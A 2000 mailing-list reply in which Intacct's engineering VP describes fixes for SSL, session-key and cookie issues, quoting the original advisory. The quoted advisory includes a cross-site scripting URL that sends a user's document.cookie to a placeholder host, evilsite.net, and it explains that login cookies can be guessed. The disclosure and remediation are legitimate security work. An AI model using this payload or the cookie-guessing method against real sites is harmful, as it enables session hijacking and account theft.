Re: Intacct.com: Multiple bugs at financial services company

[Nagi Prabhu <nagi () INTACCT COM>]

Your advisory posting outlines three areas of 
concern. FYI, we have taken immediate action and 
have already upgraded our web service to remedy 
the concerns you raised.

Specifically:

1. Clear Channel vs. SSL

By design, Intacct initially built its system to optimize 
customization and give its users a choice of 
channels: clear (http) or SSL (https). The reason 
being, that some users have older browsers that 
cannot run SSL.

  As of 8/30, users who request a clear channel (http) 
are denied access.

2. Session Key
This issue, was, in fact, a bug. We immediately fixed 
the bug and now the session key is working as it was 
designed.

3. Cookie Feature / Cross-scripting

The cookie feature was designed for those users 
who wanted the convenience
of being able to enter and re-enter the system without 
an additional login. However, there was a risk if a 
user visited a "evil" site without logging out of the 
Intacc system, an operation could be performed on 
behalf of the user from that site.

It should be noted here that this problem is pervasive 
on the internet which makes many prominent web 
services (I won't name them here) vulnerable. The 
common advice offered is to logout from any web 
service deemed critical before visiting sites of 
questionable origin.

We are in the process of changing our application to 
no longer make use of
Cookies for session identification. We expect to have 
these changes available in
our web site within the next 10 days. These changes 
will eliminate any vulnerability from cross-scripting.

Meanwhile we have issued a customer 
communication to further remind Intacct users that 
for maximum security, they should always log out of 
the service or exit their browser at the end of any 
Intacct session.


To minimize the risk from security vulnerabilities 
Intacct has began the
process of obtaining an AICPA SysTrust audit 
through one of the Big 5 accounting firms.

We hope that our actions satisfies your concerns and 
that you are convinced that Intacct is committed to 
providing online security for our customers.


Nagi Prabhu
Vice President, Engineering
Intacct Corporation




> Security Advisory: Multiple Exploitable 
Vulnerabilities at Intacct.com
> *Date
>
> 26 August 2000
>
> *Copyright statement
>
> This security advisory is Copyright 2000 by Jeffrey 
William Baker
> (jwbaker () acm org).  The advisory may be 
distributed in whole or in part
> without modification.
>
> *Background
>
> These vulnerabilities were discovered while I was 
investigating the
> security of online accounting firms such as Intacct 
[1].  I have found
> many systematic, exploitable vulnerabilities at 
Intacct.  I have not
> received any response to emails I have sent to 
Intacct.  The security
> problems with the Intacct service are so great, and 
Intacct has been so
> lax in responding to them, that I am compelled to 
offer this security
> advisory as a service to Intacct customers.
>
> *Synopsis
>
> Intacct is an online accounting service.  Their 
website allows a user to
> perform business accounting functions.  Intacct 
makes very bold claims
> regarding their security.  In their security marketing 
materials [2], they
> claim to have "world-class security you expect from 
a top-tier financial
> services provider."
>
> The Intacct marketing department apparently forgot 
to synchronize with the
> engineering department, because the Intacct 
service, which is currently in
> production with paying customers, allows an 
attacker to:
> 1) Log in as the victim in perpetuity
> 2) View and modify victims' accounts, budgets, etc.
> 3) Change victims' passwords
> 4) Deny service to victims by modifying Intacct 
billing information
> No action is required on the part of the victim for 
these attacks to
> succeed.
>
> *Details
>
> Intacct suffers from three problems: they are 
vulnerable to the attack
> defined in CERT CA-2000-02 [3], they do not use 
encryption everywhere, and
> their login and session management systems are 
the worst I have ever seen.
> The other vulnerabilities are hardly even relevant, 
because it is trivial
> to compute the login cookie for any Intacct user.  
When an Intacct user
> logs in, they are sent two cookies with the 
names ".sign" and ".userid".
> These cookies always have the same value for a 
given user.  It is possible
> to guess the cookie for any Intacct user because 
the .userid cookie is
> issued sequentially, and the .sign cookie is always 
one of three values
> [4].  The attacker will require a maximum of three 
attempts before gaining
> access to any Intacct account.
>
> Once the attacker has gained access, the situation 
is aggravated by the
> ability to change a victim's password without 
knowing the current
> password.  Standard security procedure dictates 
that you should always ask
> for the existing password before allowing the 
password to be changed.
> Another vulnerability is due to the fact that Intacct 
accepts traffic to
> their application over clear channels.  They do not 
enforce the use of
> SSL.  A user can replace https with http in any 
Intacct URL and still use
> the system normally.  Intacct should require their 
customers to always use
> SSL, lest they be tricked into sending their 
password in the clear.
> The cross-site scripting vulnerability is very simple.  
Any logged-on
> Intacct user can be made to reveal their login 
cookie, simply by visiting
> a link like this:
https://www.intacct.com/ia/edit_budget.phtml?.done=
budgets.phtml&.account_fld=<script>location.replace
(%27http://www.evilsite.net/%3F%27%2Bescape
(document.cookie))</script>
> The site "www.evilsite.net" will then have 
possession of their login
> cookie.
>
> *Conclusion
>
> Do not use Intacct's services.
>
> *Footnotes
>
> 1: http://www.intacct.com
> 2: http://www.intacct.com/services/security/
> 3: http://www.cert.org/advisories/CA-2000-02.html
> 4: I will not reveal them, but the three values will be 
immediately
> obvious to anyone who investigates Intacct.